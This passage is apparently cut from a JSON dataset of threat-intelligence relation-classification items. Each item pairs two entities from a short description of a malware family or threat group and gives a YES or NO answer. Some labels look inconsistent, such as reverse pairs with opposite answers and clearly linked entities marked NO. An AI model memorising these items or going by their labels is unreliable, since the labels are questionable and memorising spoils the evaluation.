entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC5325\n### Target Entity: LITTLELAMB.WOOLTEA\n### Text Passage:\nLITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: UNC5325\n### Text Passage:\nLITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLITTLELAMB.WOOLTEA\n### Target Entity: Ivanti Connect Secure VPNs\n### Text Passage:\nLITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBread\n### Target Entity: Google Play\n### Text Passage:\nBread was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to continuously evade Google Play Store\u2019s malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowerShell\n### Target Entity: NetwiredRC\n### Text Passage:\nOnce PowerShell downloads the final payload (NetwiredRC), it copies itself to the above mentioned path from where it gets executed. NetwireRAT is not a new malware/RAT on the surface. First seen in 2012, it attempts to\u00a0steal victims' passwords, including login credentials, FTP credentials, credit card data etc.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN5\n### Target Entity: FLIPSIDE\n### Text Passage:\nFLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPlink\n### Target Entity: FLIPSIDE\n### Text Passage:\nFLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDesert Scorpion\n### Target Entity: Middle East\n### Text Passage:\nDesert Scorpion is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. Desert Scorpion is suspected to have been operated by the threat actor APT-C-23.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDesert Scorpion\n### Target Entity: Palestine\n### Text Passage:\nDesert Scorpion is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. Desert Scorpion is suspected to have been operated by the threat actor APT-C-23.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT-C-23\n### Target Entity: Desert Scorpion\n### Text Passage:\nDesert Scorpion is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. Desert Scorpion is suspected to have been operated by the threat actor APT-C-23.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT-C-23\n### Target Entity: Middle East\n### Text Passage:\nDesert Scorpion is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. Desert Scorpion is suspected to have been operated by the threat actor APT-C-23.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUEFI Rootkit\n### Target Entity: Hacking Team\n### Text Passage:\nHacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPillowmint\n### Target Entity: C2\n### Text Passage:\nPillowmint has used shellcode which reads code stored in the registry keys \\REGISTRY\\SOFTWARE\\Microsoft\\DRM using the native Windows API as well as read HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces as part of its C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPillowmint\n### Target Entity: Windows\n### Text Passage:\nPillowmint has used shellcode which reads code stored in the registry keys \\REGISTRY\\SOFTWARE\\Microsoft\\DRM using the native Windows API as well as read HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces as part of its C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n\\REGISTRY\\SOFTWARE\\Microsoft\\DRM\n### Target Entity: C2\n### Text Passage:\nPillowmint has used shellcode which reads code stored in the registry keys \\REGISTRY\\SOFTWARE\\Microsoft\\DRM using the native Windows API as well as read HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces as part of its C2.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAppleScript\n### Target Entity: Dok\n### Text Passage:\nDok uses AppleScript to create a login item for persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCaterpillar WebShell\n### Target Entity: Volatile Cedar\n### Text Passage:\nCaterpillar WebShell is a self-developed Web Shell tool created by the group Volatile Cedar.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAgent Smith\n### Target Entity: India\n### Text Passage:\nAgent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAgent Smith\n### Target Entity: Asian\n### Text Passage:\nAgent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAgent Smith\n### Target Entity: Saudi Arabia\n### Text Passage:\nAgent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAgent Smith\n### Target Entity: United Kingdom\n### Text Passage:\nAgent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAgent Smith\n### Target Entity: United States\n### Text Passage:\nAgent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT10\n### Target Entity: Turkey\n### Text Passage:\nThe energy reserves in the Eastern Mediterranean Sea and a malicious campaign of APT10 against Turkey May 14, 2020\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLucifer\n### Target Entity: C2\n### Text Passage:\nLucifer can decrypt its C2 address upon execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCyberAv3ngers\n### Target Entity: Unitronics Defacement Campaign\n### Text Passage:\nThe Unitronics Defacement Campaign was a collection of intrusions across multiple sectors by the CyberAv3ngers, where threat actors engaged in a seemingly opportunistic and global targeting and defacement of Unitronics Vision Series Programmable Logic Controller (PLC) with Human-Machine Interface (HMI). The sectors that these PLCs can be commonly found in are water and wastewater, energy, food and beverage manufacturing, and healthcare. The most notable feature of this attack was the defacement of the PLCs' HMIs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCyberAv3ngers\n### Target Entity: Unitronics\n### Text Passage:\nThe Unitronics Defacement Campaign was a collection of intrusions across multiple sectors by the CyberAv3ngers, where threat actors engaged in a seemingly opportunistic and global targeting and defacement of Unitronics Vision Series Programmable Logic Controller (PLC) with Human-Machine Interface (HMI). The sectors that these PLCs can be commonly found in are water and wastewater, energy, food and beverage manufacturing, and healthcare. The most notable feature of this attack was the defacement of the PLCs' HMIs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUnitronics\n### Target Entity: CyberAv3ngers\n### Text Passage:\nThe Unitronics Defacement Campaign was a collection of intrusions across multiple sectors by the CyberAv3ngers, where threat actors engaged in a seemingly opportunistic and global targeting and defacement of Unitronics Vision Series Programmable Logic Controller (PLC) with Human-Machine Interface (HMI). The sectors that these PLCs can be commonly found in are water and wastewater, energy, food and beverage manufacturing, and healthcare. The most notable feature of this attack was the defacement of the PLCs' HMIs.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: DEADEYE\n### Text Passage:\nDEADEYE is a malware launcher that has been used by APT41 since at least May 2021. DEADEYE has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGOLD SOUTHFIELD\n### Target Entity: REvil\n### Text Passage:\nREvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service (RaaS) since at least April 2019. REvil is highly configurable and shares code similarities with the GandCrab RaaS.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInception\n### Target Entity: PowerShower\n### Text Passage:\nPowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInception\n### Target Entity: PowerShell\n### Text Passage:\nPowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNotPetya\n### Target Entity: PsExec\n### Text Passage:\nNotPetya drops PsExec with the filename dllhost.dat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndllhost.dat\n### Target Entity: PsExec\n### Text Passage:\nNotPetya drops PsExec with the filename dllhost.dat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurla\n### Target Entity: TinyTurla\n### Text Passage:\nTinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTinyTurla\n### Target Entity: US\n### Text Passage:\nTinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTinyTurla\n### Target Entity: Afghanistan\n### Text Passage:\nTinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTinyTurla\n### Target Entity: Germany\n### Text Passage:\nTinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN8\n### Target Entity: PUNCHBUGGY\n### Text Passage:\nPUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN8\n### Target Entity: POS networks\n### Text Passage:\nPUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChameleon\n### Target Entity: Android\n### Text Passage:\nChameleon is an Android banking trojan that can leverage Android\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, Chameleon has been observed targeting users in Australia and Poland by masquerading as official apps.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChameleon\n### Target Entity: Australia\n### Text Passage:\nChameleon is an Android banking trojan that can leverage Android\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, Chameleon has been observed targeting users in Australia and Poland by masquerading as official apps.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChameleon\n### Target Entity: Poland\n### Text Passage:\nChameleon is an Android banking trojan that can leverage Android\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, Chameleon has been observed targeting users in Australia and Poland by masquerading as official apps.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: Australia\n### Text Passage:\nChameleon is an Android banking trojan that can leverage Android\u2019s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, Chameleon has been observed targeting users in Australia and Poland by masquerading as official apps.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOBAD\n### Target Entity: Android\n### Text Passage:\nOBAD is an Android malware family.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSNUGRIDE\n### Target Entity: C2\n### Text Passage:\nSNUGRIDE communicates-with its C2 server over HTTP.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRancor\n### Target Entity: PLAINTEE\n### Text Passage:\nPLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLAINTEE\n### Target Entity: Singapore\n### Text Passage:\nPLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLAINTEE\n### Target Entity: Cambodia\n### Text Passage:\nPLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPony\n### Target Entity: Hancitor\n### Text Passage:\nHancitor is a downloader that has been used by Pony and other information stealing malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSMOKEDHAM\n### Target Entity: Powershell\n### Text Passage:\nSMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSMOKEDHAM\n### Target Entity: UltraVNC\n### Text Passage:\nSMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSMOKEDHAM\n### Target Entity: Ngrok\n### Text Passage:\nSMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLATINUM\n### Target Entity: adbupd\n### Text Passage:\nadbupd is a backdoor used by PLATINUM that is similar to Dipsind. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nadbupd\n### Target Entity: PLATINUM\n### Text Passage:\nadbupd is a backdoor used by PLATINUM that is similar to Dipsind. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChinoxy\n### Target Entity: Chinese\n### Text Passage:\nChinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChinese\n### Target Entity: Chinoxy\n### Text Passage:\nChinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWolf Research\n### Target Entity: WolfRAT\n### Text Passage:\nWolfRAT is malware based on a leaked version of Dendroid that has primarily targeted Thai users. WolfRAT has most likely been operated by the now defunct organization Wolf Research.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWolfRAT\n### Target Entity: Dendroid\n### Text Passage:\nWolfRAT is malware based on a leaked version of Dendroid that has primarily targeted Thai users. WolfRAT has most likely been operated by the now defunct organization Wolf Research.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWolfRAT\n### Target Entity: Thai\n### Text Passage:\nWolfRAT is malware based on a leaked version of Dendroid that has primarily targeted Thai users. WolfRAT has most likely been operated by the now defunct organization Wolf Research.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDendroid\n### 